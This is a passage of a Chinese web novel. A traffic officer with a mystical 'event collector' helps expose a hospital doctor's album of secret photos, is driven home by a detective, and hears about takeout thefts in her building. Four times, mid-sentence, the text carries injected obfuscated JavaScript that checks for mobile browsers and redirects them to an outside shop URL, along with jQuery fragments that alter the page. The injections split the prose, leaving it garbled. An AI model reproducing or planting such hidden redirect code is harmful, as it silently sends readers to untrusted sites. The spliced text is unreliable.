程昭指着一张照片上的一个路口，那个路口后面隐约看到一个住宅区的门口。 周立言和侯远山一起看过去。照片显示的画面，路口应该是通向一个公寓小区。 侯远山正想看地图，周立言想起了他有看过那个小区的指示牌。周立言回忆着说：“应该是乐怡居。” “是的，地图上看，那个小路是通往乐怡居的侧门。看来死者可能是住那个小区的，或者有认识的人在那里。”侯远山看了地图，确定了小区名字。 “我们后续也去查一下，看看有什么发现。”周立言点头，嘴角的笑意更明显了。 侯远山也是满脸笑容。 之前有用的线索太少了，那附近监控刚好坏了，报警人离得远看到的不多……现在有了程昭这个目击者，多了这么多线索，案件肯定很快就查清楚了。 程昭暂时没有其他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13643715|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 补充了，两个警察就打算先回去，追查新得到的线索。 临走前，周立言留了电话，让程昭想起新线索的时候联系他们。 有了负责案件的人的联系方式，程昭就更方便获得案件信息和暗中指点方向了。她十分开心地和周立言交换了联系方式。 ………… 程昭继续过着养伤的日子。 妹妹程露担心程昭的身体，强烈要求她不能随便走动，恨不得在她身上装监控。 不过高中生学业为重，程昭要留院观察几天，程露也要回去学校了。 在临走前，软萌的小妹，叉着腰，一脸严肃地叮嘱程昭，“你的伤那么严重，还伤到了头，你要好好静养，绝对不能到处乱逛！如果被我发现你不好好休息，我就继续和学校请假，一直盯着你！” 然后程露又看着旁边的护工李梅，拜托道：“我姐姐就麻烦你照顾了。如果她不配合，你就和我说，我到时候打电话去说她。” 护工李梅很喜欢这两姐妹，也乐意帮忙看着不听话的病人，于是爽快地答应了程露的请求。 于是，在护工和小妹的近程远程监督下，程昭在医院里过起了无所事事的日子。 当然了，程昭自己也很爱惜身体，伤口太疼了，她也不想到处走动，于是乖乖地养伤。 程昭过去一直在奔波打工，偶尔发烧感冒，也是吃药睡觉，熬一熬就过去了，少有这样的空闲。 除了同事朋友偶尔过来探病，程昭不是坐在床上看书看手机，就是和同病房的人聊天吃瓜。 程昭这个病房是三人房，旁边的两个病友，是社交能力超强的老阿姨。不少人喜欢过来串房，找她们谈论各种新鲜事。程昭小五在旁边听八卦，吃瓜吃得很满足。 “……那个医生的夫人，请私家侦探，拿到了她老公偷情的证据，直接来到医院这边闹。还带着一群大哥大姐，气势汹汹的……不过他们也没打人闹事，就是在医院走廊到处贴他们偷情的照片……照片打印了好多张，贴了几个走廊，那个医生都不敢立刻撕下来……可精彩了……” “……有个女的，在美容部做过美容项目，隔了几天过来，说医院搞坏了她的脸……结果检查之后发现，是被她老公传染了病……知人知面不知心啊，文质彬彬的，居然是老瓢虫……” “……那个大爷说自己被那个司机撞了，骨头裂了，他家人拿着拍的片子找他要钱……司机说他没碰到他，有行车记录仪，不肯给钱，吵着吵着报警了……原来那个片子是这边几年前拍的，用修图软件改了日期……” 有时候吃瓜吃得太开心了，程昭也不觉得养病无聊了。 小五也很满意，虽然不确定真伪，但是这些八卦故事性很强，也可以当做素材收集起来。 ………… 程昭留院观察，养伤了几天，医生说她的脑部血块已经消失了，明天或者后天就可以出院了，其余的伤，可以回家慢慢养着。 程昭听到了很开心，她终于可以回家了。始终还是家里比较舒服自在，而且住院也不便宜。 程昭和妹妹程露商量了一下，决定后天再回家。后天周六，程露可以过来帮忙。程昭可以慢慢走路，又没有什么行李，有程露在，就不用麻烦其他人了。 周五这天，程昭照旧和小五一起，呆在病房听病友讲八卦聊天。 说着说着，两个病友喝水喝多了，说要去隔壁上厕所。程昭不想去，就继续留在房间。 几分钟后，病友们回来了。 “现在的人啊，真是什么人都有啊。连人家的工作制服都偷……”病友们说起刚刚看到的见闻。 程昭耳边响起“叮”的一声，小五也提醒程昭，“快看看事件收集器。好像有一个新的事件。” “啊？新事件？但是我什么也没做啊……” 程昭疑惑地打开事件收集器，只见页面多了一个新事件“医院潜入事件”。 5. 医院疑云 程昭点开这个“医院潜入事件”，查看相关的内容。 事件概述：医院有可疑人物潜入，目标未知，事情发展未知。 信息关联表，上面只有一条是发光：医院的工作制服丢失。 “陈阿姨，你们说的是什么事啊？什么工作服被偷了？” “是清洁工的工作服。我们刚刚不是去厕所吗，看到清洁工在厕所找东西，我们去问她，她说她刚刚搭在女厕所的工作服不见了。” “是刚刚发生的吗？还有什么奇怪的事吗？” “就是这几分钟发生的事，还没有听说有其他的怪事。” 程昭看到事件概述和信息关联表的内容都更新了。事件概述显示，医院有可疑人物伪装成清洁工，目标未知，事情发展未知。 信息关联表，显示发光记录：医院的清洁工制服，几分钟前在女厕所丢失；病房门外五分钟前有一个女人，拿着清洁工衣服走过。 程昭第一次留意到事件概述会变化，她问小五怎么回事。 小五回答：“这个功能是根据使用者对事件的了解程度，显示内容的。你越了解这个事件，事件概述和信息关联表的内容会越详细。你可以参考之前两个事件，你被跟踪和车祸事件，你已经了解事情全部了，概述和列表应该都会显示得更详细。” 程昭看了，确实是如此。 这个医院潜入事件，她现在了解的信息太少了。不知道什么人想做什么事，也不知道会什么时候发生事情。希望不要是什么重大恶性事件。 “五分钟前有个女人拿着清洁工衣服，在我们门外走过。或许我们可以拜托医院看看监控？感觉这样的行为好可疑啊，不如我们去问问，说不定有什么有趣的事要发生。”程昭怂恿两个社牛阿姨来加入她的调查队伍。 “好啊，反正现在没有什么事。”陈阿姨、王阿姨愉快地答应了。 一行人找到相熟的张护士，两个阿姨绘声绘色地复述事情经过，然后又说：“反正知道那个人几点经过了我们的房间，走廊又有监控，查一下不费事啊。万一真的有什么事发生，再查就晚了……” 张护士也觉得这事古怪，阿姨说的有道理。她立刻去了监控室，找人帮忙查监控。十分钟后，张护士回来了，她用手机录下了相关的几段监控。 那个可疑的女人去了另一层的厕所，换了清洁工衣服，然后去了搭电梯去了九楼，出了电梯之后，顺着人群，经过一个监控之后就不见了。 “最后看到她出现在九楼，后面就不知道了，其他监控用倍速看过了，没看到有这个人。”张护士忧心忡忡地说。 “估计是在这附近藏起来，或者是换了一身衣服……这附近有什么房间？算了，我们不如过去实地看看？”程昭想了一下，问道。 等张护士去问，一来一回太浪费时间了。程昭决定实地看一下，说不定会收集到什么意外的线索。 张护士点头，她本来就要去看的。 两位阿姨想了一下也决定一起去。她们两个走得比程昭还快呢，她都敢去了，她们两个怎么会害怕。如果错过了看热闹，她们肯定会后悔。 就这样，一行人来到九楼，那个女人最后消失的走廊。 程昭四处张望，发现这个走廊没有很多房间，大多数房间里面都有医生病人。 有个房间关着门，没有贴标识牌，程昭问：“张护士，请问这个是什么房间？” “这个房间是医护人员的休息间。” 程昭留意到信息关联表里面，这个休息间的信息有发光标记，“可以看看里面吗？” 张护士点头，上前敲门确认没有人之后打开了门，只见房间的一个椅子上，搭着一件清洁工的衣服。 “是清洁工的衣服，难道那个女人在这里又换了衣服？”陈阿姨猜。 程昭点头，“应该没错，她应该换了医生或者护士的衣服，离开了这里，所以附近的监控才没拍到穿了清洁工衣服的人。” 系统的信息表，也肯定了程昭的猜测，信息有发光标记。 离开了这个休息间，众人走到走廊的另一边。两位阿姨看了这边走廊，然后你看看我，我看看你，脸上露出古怪的笑容。 “陈阿姨、王阿姨，这边是有什么特别吗？”程昭留意到两位阿姨表情有异，随口问道。 两位阿姨说：“这边走廊我们之前来过，去看那个偷情贴照片的热闹。” 张护士也想起来了，“哦，是的，当时九层和十层都贴了，都不知道李医生夫人打印了多少张照片……” 这时，程昭看到信息关联表多了一条发光记录：李医生偷情被曝光的八卦，但是这个信息虽然有标记发光，但是排在了后面一些。 程昭猜测，这件事估计和李医生有关系，但是那个可疑女人应该和那次偷情曝光的事，没有直接联系。如果可疑女人是这件事的当事人或者参与者，这件事的排序会更前一些。 果然，程昭刚刚想完，事情概述就写了可疑女人的目标是李医生。 目标居然就是李医生？那要赶快引大家去找李医生才行。 “李医生是在这层楼科室的医生吗？” “是的，他是XX科的。” “这个女人会不会是来找他的？这边最近比较特别的事，应该就是他偷情曝光的事了吧？” “确实……最近都挺正常。也没听说有什么意外事故……我去找人问问他在哪里。” 张护士想了一下，觉得程昭说的很有可能。她急急忙忙去问了护士站的同事，同事说李医生今天不出诊，应该在办公区。 张护士给同事讲了一下事情的经过，说了大家的怀疑。同事立马打电话叫办公区的保安过去确认情况。 没多久，办公区打了电话给护士站，护士们听完电话，一脸复杂。 “还真被你猜对了，那个可疑女人去找李医生了，但是发生的事情有点出人意料……” 保安没把事情说清楚，但是听起来没有危险的事发生，好像又是李医生的感情纠纷问题。 在众人强烈的要求下，张护士带了程昭和两位阿姨去看热闹。毕竟事情是她们发现的，也是相关人士。 ………… 李医生的办公室。 保安和一些医护人员站在门外，嘴里对屋里的人说着安抚劝解的话，脸上却分明是在兴奋地看八卦，一点实际行动都没有。 程昭一行人在门口往里看——嚯，好家伙，这李医生玩得真花啊。两位阿姨差点大笑出声。 只见李医生衣衫不整地坐着，双手被绑在椅子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13643716|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扶手上，一脸羞恼地看着门外的同事和目前的女人。 女人一手拿着手机，一手拿着防狼喷雾，正在说话：“……我没有什么恶意，李医生是自愿被我绑在椅子上的。我是他的前女友，来这里只是为了解决我的疑虑。如果李俊伟不肯说实话，不愿意证明自己的清白，我就只能去找警察来处理了……” 张护士拉着一个同事，问：“什么情况，你们怎么没进去解开李医生？” “刚刚这个女人说，如果我们进去解开李俊伟，她就把他的不雅照AirDrop给附近所有的人，让他社死。李俊伟立刻阻止了我们进去。”同事偷笑着说。 “牛啊……她这是想做什么呀？” “好像是怀疑李俊伟偷拍了她照片视频，上传到一个云盘相册里面。相册设置了密码，她在问李俊伟密码是多少。” 程昭听到“叮”的一声，发现系统多了一个新事件“医生可疑相册事件”。 这下，程昭也觉得那个相册有问题了，不然也不会触发新的探案事件。 “……陈萱你相信我，这个就是一个普通的相册，你不喜欢我拍那些照片我当时就删了……”李俊伟在努力劝可疑女人，陈萱。“你不信的话，你解开我的手，我输入密码给你看……” “对啊，我不信你，你来操作，说不定就直接卸载APP了……多亏你之前借我备用手机，登陆过云盘忘记退出，我最近凑巧打开APP，才发现这个文件夹。”陈萱紧紧拿着手机，怕李俊伟叫人来抢。 不过李俊伟人缘不咋滴，没有人想过帮他抢手机，一个个都在围观吃瓜。 程昭想了一下，这样僵持下去也不是办法，万一陈萱被激怒，拿防狼喷雾喷了李俊伟，小事变大就麻烦了。 程昭挤到门边，和陈萱说：“你好，陈小姐，我叫程昭，是一名交警。我可以看一下那个云盘APP吗？你拿着手机，我远处看。” 陈萱看到来人是个行动不便的伤患者，看起来也不像是李医生一伙的，于是拿着手机，给她看屏幕显示的内容。 云盘显示的一堆文件夹里面，有一个相册文件夹上锁了，文件夹还命名为“日常收藏”。 陈萱说：“我是因为看病认识了李俊伟，他骗我说他是单身，我和他在一起了几个月，后来发现他有老婆，我就和他分手了。” “最近我无意间发现，他在我备用手机安装了一个云盘，然后发现了这个上锁的相册。因为他之前的一些举动，我怀疑他将我一些隐私照片放上去云盘了。” “因为只是猜测，我就想偷偷过来找他，逼他说密码。没想到我刚将他绑起来，保安和其他人就来了。” “所以你偷清洁工、医生制服，就是为了来找他？” “咦，这都被你们发现了吗？看来是你们叫人过来的……”陈萱承认了，“我只是借用了一下而已。他在办公区，外人进来太显眼了，我就借了一件清洁工衣服，但是那个衣服不太合身，我就又换了一件医生的外套。” “进来之后，李俊伟以为我是想复合，我假意和他调情，说玩点特别的，想绑住他，他立刻就答应了……我可没有伤害他，或者强迫他哦。至于我威胁说的群发他照片，也没打算发的。我这样不算犯法吧？我只是想知道我手机某个相册的密码而已。” 6. 医院疑云2 听完陈萱的话，程昭感觉自己有点被绕晕了。不过陈萱确实没有做什么危害很大的事……哎，专业的事情还是等专业人士来判断吧。 这时，李俊伟急急忙忙地开口想要程昭帮忙，“交警小姐，你来了太好了，麻烦你帮我松绑一下……” “李俊伟，我说我不打算群发照片，不代表我生气了不会发哦。”陈萱微笑着回应。 “交警小姐，我决定还是要报警了，麻烦你帮我联系一下警察吧。看他这样，估计是不会告诉我密码了。先别松绑，一松开他肯定就将云盘，登出我这个手机了。” 程昭连连点头，她本来也打算找机会报警，当事人要求报警就更好了。 这时，刑警周立言刚好给她打电话了，“程小姐，我是刑警周立言。你现在在医院吗？我正在过来，拿你的钱包等物品给你。” “太好了，周警官，麻烦你来一下医院九楼办公区这边，有个事情想请你帮忙看看……”周警官简直是及时雨啊！ 程昭简单复述了事情的大概内容，周立言说他现在过来。 李俊伟听到警察这么快就来了，无力地瘫坐在椅子上，脸色苍白……完了完了，瞒不住了…… 门外的吃瓜群众，看到李医生这样的表现，也一致认为他肯定有问题。不然也不至于这样心虚。 周立言很快到了，这次跟着他的还是侯远山。 两位警察和程昭打了招呼，大概了解事情之后，两人虎视眈眈地盯着李俊伟。 在警察的注视下，特别是周警官略带鄙夷的严肃注视下，李俊伟十分心虚十分尴尬，他现在还衣衫不整地被绑着…… 警察一言不发地看着他，维持了十几二十秒，还没有开口问，李俊伟就放弃抵抗，说出了密码。 陈萱顺利打开了相册，快速扫了几眼，立刻气笑了。照片太多，她不想一张张去找有没有自己照片了，干脆把手机递给警察，“我的第六感果然没错！警察同志，麻烦你们查清楚这件事。这个相册里面全部都是偷拍的照片和视频，而且有的应该是他的同事和病人，男的女的都有……” “什么？！”门外的吃瓜群众一下子炸了，居然同事病人都被偷拍了？难道吃瓜吃到自己身上了？ 这一下子群情汹涌的，周立言看了两眼相册的内容，就立刻收起了手机，“各位稍安勿躁，我们会查清楚的，物证就不给大家看了。” “麻烦陈小姐和李先生，和我们去一趟警局吧。” 周立言示意侯远山去给李俊伟松绑，让他自己整理一下衣服。侯远山略带嫌弃的答应了。 程昭刚刚在周立言旁边，偷偷地瞄了一眼那个相册，感觉还没有怎么看清，手机就被收起来了。 周立言留意到程昭的小动作，忍不住微微地笑了一下，然后又正色道，“程警官，多亏有你敏锐观察，及时发现案情，避免了两个当事人可能发生的打斗争执。” “客气了，应该的。而且里面还有两位阿姨和工作人员的帮忙。”突然被帅气的周警官夸奖，程昭都有点不好意思了。不过她也不完全是客套谦让，真的是多亏了两位社牛阿姨的提醒。 周立言把程昭的钱包随身物品还给了她，还带她去离人群远一点的地方，小声说了一点车祸杀人案的后续。 “……我们查了你提示的纹身，它的一个青木帮的标志，这个帮派很低调……纹身、烟蒂的DNA加上记忆卡的录像，我们确定了死者和凶手的身份……” “乐怡居小区，我们查到死者有个情妇住在那边，那个情妇已经坦白了，死者私吞了帮派一笔钱。这笔钱被转移走的时候，我们追回了一部分。青木帮现在知道了死者和凶手的事，也在找这个凶手……我们也在通缉这个人。后续有进展再告诉你。” “太好了，希望可以早日捉住这个凶手。”听说龙傲天过得不好，程昭就非常开心。 “对了，周警官，李俊伟的偷拍事件，后续可以告诉我吗？我好好奇，你们的探案过程遇到的事。我超喜欢探案题材的小说剧集的，想要了解一下你们查案的事，可以吗？” 程昭的请求其实有点冒昧，他们两个不过是见过几面的陌生人。但是程昭脑子一热，想都没想就脱口而出了。 完了，周警官是不是要向她飙冷气了…… 看着程昭期待又忐忑的眼睛，不知道为什么，周立言说不出拒绝的话，“可以，我有空的时候可以发信息告诉你。不过只能告诉你一些不需要保密的内容。” 程昭没想到周警官居然会答应，立刻笑得小虎牙都露出来了。“真的吗！谢谢周警官！” “你的思维很敏锐，给我们提供了很多帮助。不过和你说的内容，最好不要传出去。”周立言看到程昭这么高兴，也被感染得想笑，但是还是忍住了。 “对了，我明天就出院了，可能在家休养一段时间再回去上班。你有事情找我的话，不要直接过来医院了。”程昭怕周警官走空了，提醒道。 “好的。那我和侯警官先回去了，再会。”周立言若有所思，点点头，然后和侯警官一行人离开了。 ………… 今天发生的事，迅速在医院传开了。 医院领导本来想叫大家不要声张，没想到李医生被警察带走的时候，刚好他夫人来找他。他的夫人这段时间正在和他闹离婚，听到他做的恶事，当场就大闹起来。 这下，医院领导想低调处理都不行了。医护人员和病人听说了此事，都担心自己有被偷拍，纷纷要求严肃处理。 其他病友听说程昭她们几个，有帮忙查案，围观了事件的全部经过，都非常好奇和羡慕。 她们离开办公区回到病房之后，一直有人过来串门打听。到第二天早上，程昭程露准备出院，还有不少病友过来，想要请陈阿姨王阿姨再讲一遍。 随着复述的次数增多，两位阿姨讲的情节得越来越夸张。不过听众喜欢听，说书人喜欢讲，皆大欢喜。 程昭没有做什么抬杠拆穿的扫兴举动，只是偶尔会忍不住，在两个阿姨准备要夸她的时候悄悄走开。没办法，实在是夸得太多回了，程昭再厚脸皮也不好意思了。 程昭和妹妹收拾好东西，办完了出院手续，打算去叫网约车。周警官发了个信息过来，“程警官，你还在医院吗？我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13643717|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等下开车经过医院，我载你们一程？” 及时雨周警官又出现了！程昭感叹，回信息，“还在医院呢，正准备离开。会不会太麻烦你了？我们准备叫网约车了。” 周警官打了电话过来：“不用叫网约车了，我刚好忙完，经过医院这边。我记得你们是住新风广场楼上的公寓？” “是啊，你怎么知道的？” “我们之前查车祸的案子，看过你的资料，所以有点印象……我刚好也住那附近，旁边的御景花园。我们是顺路的。” 程昭回忆了一下，御景花园？那确实很顺路，就隔着一条马路。“这么巧！那麻烦你了～谢谢你特意过来载我们。” “不麻烦，程警官你帮了我们很多，不用客气……昨天听到你说要出院，我本来就想提的。不过我早上有事，不确定几点结束，所以昨天遇到你的时候就没提……我大概五分钟之后到，你们在正门等我？” “好的，我们现在过去正门。” 电话挂了。一旁的程露好奇又惊讶地问：“姐，你和周警官之前认识吗？” “没有啊，我们是车祸案件才认识的，见过几次。” “这样啊，”程露一脸惊讶，说，“周警官虽然长得很帅，但是看起来很严肃很冷淡，我之前都不怎么敢看他……没想到我居然还有机会坐周警官的顺风车……姐姐你太厉害了，居然和周警官这么熟。” “呃，还好吧？周警官虽然有点严肃，但是也没有很凶啊……”程昭挠挠头。 不知道为什么，她总觉得周警官其实挺平易近人的，好像有好几次想笑但是又忍住了。大概是，为了保持队长的威严？ 周警官的车很快就到了，黑色的SUV，车子里面很干净，一点烟味都没有。 程昭姐妹打招呼之后上了车。 市区车多红绿灯也多，但是周警官开车很稳，不会一下子提速一下子刹车的，十分可靠。 妹妹全程不敢说话，好像见了教导主任一样。 周警官也默默开车。 好像太安静了，感觉有点尴尬。于是在等红绿灯的时候，程昭找话题闲聊。因为妹妹在场，不方便说查案的事，不过可以说一下医院的大家说的事。 “李医生偷拍这件事，在医院传开之后，大家反应可大了！不管男女老少，是不是李医生的病人，反正见过他的，都害怕自己在他的秘密相册里面……病人怕医生护士不说实情，一个个都来找陈阿姨王阿姨打听消息。” “哦？是那天和你一起的两位阿姨对吧，她们怎么回应？”周警官就着后视镜，看了一眼程昭。 程昭抖肩摊手，又无奈又好笑地说：“两位阿姨知道的有限，一开始说了她们看到的事。没想到别人听了，说她们藏着掖着，怀疑她们是不是被医院收买了……两位阿姨之后就越说越夸张，说得我们几个当时超级神勇……” 程露听了，一边偷笑一边说：“怪不得你看到她们聊天就走开。” “不走不行啊，留在那里，观众们说不定就起哄，让我展示一下功夫了……” 程露忍不住笑出声，周警官也轻轻地笑了。 7. 丢失的外卖 周警官开着车，一路平稳行驶。没多久，就到了她们家楼下。 程昭在路上想着，要怎么感谢一下周警官，还有“收买”一下他，加深一下友谊。因为她现在还不确定，她这个事件收集器，对什么案件有反应。 万一她处理那些违章停车、超速行驶，不能触发事件收集，那她就很难尽量多的完成收集任务了。小五帮她穿越复活，她想投桃报李，帮小五多完成任务，回去未来的时候好交差。 如果可以和周警官关系更好一些，她就可以多多打听刑事案件，触发事件收集了。目前为止，触发收集的，好像都是刑事案件……不过医院潜入事件好像又不算……哎，反正跟着警察更容易遇到案件事件。 而且这个小说的衍生世界，估计没有她之前的世界那么平静。 虽然她只看了小说的前面几章，但是从龙傲天混帮派组织的嚣张的做派，再加上住院期间她看到的一些新闻和一些八卦传言，感觉这个世界的挺危险的，甚至有点像名柯的米花町，大小案件层出不穷…… 估计她以后出外勤，也能遇到不少的事件……不过这些要等她养好伤，归队工作，才可以慢慢验证了。 程昭想了一圈，最后决定找天请周警官来家里吃饭。反正大家住得那么近，邻里之间友好相处嘛。周警官又告诉她案件信息，又送她出院。她请他吃来家里吃顿便饭，略表心意，这样应该也可以？ 不过这个也是要等她伤口好一些才行，程露高中住宿不在家，她总不能请人吃饭还叫人帮忙打下手吧……所以先按下不提，日后再电话问问。 和周警官道别，两人回到家。三房两厅的房子，最近主人鲜少在家，一些家具浅浅地落了灰。 “姐，不好意思哈，家里一些地方，没来得及搞卫生……”看着略显脏乱的客厅，程露不好意思地挠挠头，“不过你房间床铺已经换了新洗好的，饭厅、地板这些地方已经已经清洁过了。” “没事，比我想象中干净。我不在家，你又住学校，家里可以保持成这样就很不错啦。” ………… 两姐妹休息了一下，程露就继续搞卫生了。没办法，明天晚上程露又要回去学校宿舍了，如果家务留着，她担心程昭自己在家会偷偷做家务，累着自己。 程昭看着妹妹严肃禁止她来帮忙，然后自己一个人做家务，心里更喜欢这个妹妹了。又可爱又贴心的小妹，她可要保护好，不让龙傲天来沾边。 程昭去洗了一些苹果橙子，又冲泡了一些茶，做了一大壶水果茶，放进冰箱里面冷藏。等一会，大家渴了就可以喝。 不过，水果茶还没有泡多久，就被程露消灭一半了。 “太爽了，比外面奶茶店的还好喝，省了点外卖了。姐姐你哪里学的方子？”搞完卫生，几口喝掉半杯冰冰凉凉的水果茶，程露感觉自己又充满力量了。 “唉，可惜回学校我又喝不到了……”住宿生程露哀叹。 “这有啥，我明天做一些水果茶给你……嫌重的话，还可以做一些果酱，你在学校泡茶加一些进去，味道也是不错的。你们学校有冰箱吗？”程昭想了一下，果酱多放糖的话，应该可以常温保存两三天。 “真的吗？！我能不能两样都要？你指导，我来做，这样就可以多做一点分给同学，而且也不怕影响到你的伤。”程露欢呼，然后看着程昭肩膀的伤处，又贴心地建议。 妹妹这样贴心，程昭当然没意见了。于是两人打算列个清单，由程露去楼下的超市买果酱和晚餐的材料。 经过一番讨论，两人决定明天做橘子酱，然后晚饭做茶树菇鸡汤、蒸肉饼、炒青菜。 程露列了超级长的清单，打算一次买够姐姐一周的食材，不过这种行为被程昭制止了。 “我的伤已经好很多了，还是可以活动一下的，反正上下楼有电梯，超市就在楼下……而且家里还有买菜的小拉车，我可以拿得动。”程昭哭笑不得，拿笔划掉了一大串的速冻食品。 程露拿着最后定下来的清单，勉强接受了程昭的决定。 ………… 妹妹出去采购，程昭独自在家里整理房间和休息。 原身的房间以粉蓝和白色为主，可爱之余又不失简约，东西放得整整齐齐的，很有条理。衣柜里面的衣服也是简约风、运动风为主，也是程昭喜欢的风格。 挺好的，这样她就不用担心自己突然转换风格，别人感觉奇怪了。 “哎，我终于又回来了。”这时，系统小五突然出声了。 “小五，你去哪里了？好像今天你都没出现过。”程昭很好奇小五今天为什么突然失踪了。如果不是她还可以正常使用事件收集器，她都怀疑小五是不是她幻想出来的。 “因为医院潜入事件、车祸事件那些事件收集得差不多了，达到完成标准，可以提交。另外之前我带你穿越用了比较多能量，需要补充。所以趁着昨晚满月，我就回去了星球的总部一趟……我昨晚不是在你睡前告诉你了吗？你果然倒下就睡着了。” “哈哈，可能是我一下子就睡迷糊了吧，我身体有伤要好好睡觉嘛。” “……好吧，这次放过你了。总部说我能量额度不多了，需要提交更多素材才行……不然我的最终评分就会比其他系统低……”小五的语气逐渐低落。 “放心放心，我会多多给你收集素材的。” “好吧，姑且相信你。” ………… 程露去楼下超市采购完，拉着小拉车，满载而归。 她一边把东西放进冰箱或者收纳柜，一边和程昭吐槽：“周六超市人好多啊，幸好你没一起来，不然可能要挤到你了……” “哈哈，辛苦了……没办法，休息天嘛，人多是正常的。万一要下去买东西，我会避开高峰期去采购的，放心放心。” “嗯哼，你自己要照顾好自己，不然我就申请走读一段时间，天天回家看着你” 突然，程露皱着眉，在小拉车里面，翻出了三张宣传单，说：“哎，楼下广场最近多了一些销售，到处问人要不要办健身卡、要不要买保险，还四处塞宣传单。看，我的小拉车也被塞了几张进来。” 程昭接过宣传单，看了一眼。“素心保险、乐乐健身……好像都是有店面或者办公点在这个广场的，怪不得保安没赶他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13643718|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们。” “是啊……说起保安，刚刚我等电梯的时候，听到有住户和保安在吵架。” “嗯？他们怎么吵起来了？” “好像是谁的外卖被偷了……最近外卖柜故障，外卖小哥又不给上楼，所以外卖都放门口保安旁边的架子上。住户责怪保安没看好，保安反驳说住户太久没下来取餐……” “现在是放架子上啊？那说不定是被谁拿错了吧？” “好像已经发生过几次了，外卖找不到，可能是被人偷偷拿走了吧。” 两人一边闲聊，一边整理收纳，然后拿出了晚餐的材料，打算先做晚餐。 晚饭也是程露来下厨的，不过程昭看到程露不太会做饭，就在旁边指导。 经过程昭一番指点，程露第一次觉得自己有做饭的天赋。没想到自己煮的菜，居然可以这么好吃。 “哇，姐，你去哪里进修了厨艺？明明以前我们煮的，都是很普通的味道。” “哈哈，我不是闲着没事干吗，就刷了一下菜谱和美食博主的视频，学到了一些小窍门。”程昭有点心虚的挠挠头，回答道。 其实，水果茶、厨艺这些，都是程昭上辈子疯狂打工时，工作中学会的。那几年虽然很辛苦，不过学到了不少东西。可惜她死的时候还没有还清债务，不过她家的房子应该会拿去卖了还债吧…… ………… 周末早上，程昭两姐妹吃完早餐，正想做果酱的时候，发现家里蜂蜜用完了。程露想要自己去买，不过程昭也想跟着一起去。 “现在时间比较早，楼下商场的人应该不多，我也一起去走走好了。” “好吧，那我们走慢一点。” 两人拉着小拉车，慢慢去到了楼下的商场。九点多的商场，没开门多久，店员比客人还多。两人买了清单的材料，然后又买了两杯奶茶，然后慢悠悠回家。 还没有走到公寓的入口，两人就听到了争吵的声音。 “……你们物业怎么回事？光收钱不办事的吗？外卖不让送上楼，放楼下就被偷……”一个年轻人对着物业经理，生气地说道。 “就是啊，我前天的晚饭也被偷了……”一个路过的男青年，闻言也过来埋怨。 “不好意思，我们会尽快把监控修好的，也会催促修复外卖柜。后续几天我们会加强外卖架附近的巡逻，各位请放心……” “这位先生，麻烦你出示一下你的订单，我给你重新订一份吧……” 物业经理的安抚下，住户的不满渐渐平息。 “又是外卖被偷啊？不知道是谁做的……”程露好奇地看着不远处的闹剧。 程昭观察了一下四周，这个临时安置的外卖架，放在电梯口不远的转弯处，架子旁边有个小窗户，斜对面就是保安、物业管理员的柜台。这位置应该是挺合适的，不过楼上好多人订外卖，这边人来人往的，外卖自取，很容易被乱拿。 程昭也有点好奇是谁做的，不过没有监控的话，应该挺难查的，太多种可能了。她看了一下事件收集器，页面没有显示新的事件。 “等监控修好了，应该能查到吧？”程昭猜。 8. 捡垃圾的老张 过了两天，家里食物消耗了一些，程昭打算下去买一些蔬菜水果，顺便活动一下身体。 出电梯的时候，程昭还特意留意了一下外卖架那边，发现有工作人员在测量尺寸。 程昭随口问了一下旁边的物业人员，“请问，那边是准备要安装什么吗？” “是的，准备换一个新的外卖柜。之前那个问题比较麻烦没修好，所以就换了个新的。应该过几天就可以用新的柜子。” 程昭谢过物业人员，继续慢慢朝超市走去。 经过一番采购，程昭将东西都放进购物小拉车里面，然后慢悠悠地走回家。等电梯的时候，遇到了一个有点眼熟的阿姨。 这个阿姨拉着行李箱，背着旅行包，正在热火朝天地讲电话，“……没想到我出去玩几天，你在医院还遇到这么有趣的事情……” “芳姐，你哪天出院啊？我们出来喝茶聊聊呗，我还给你们带了手信呢……” 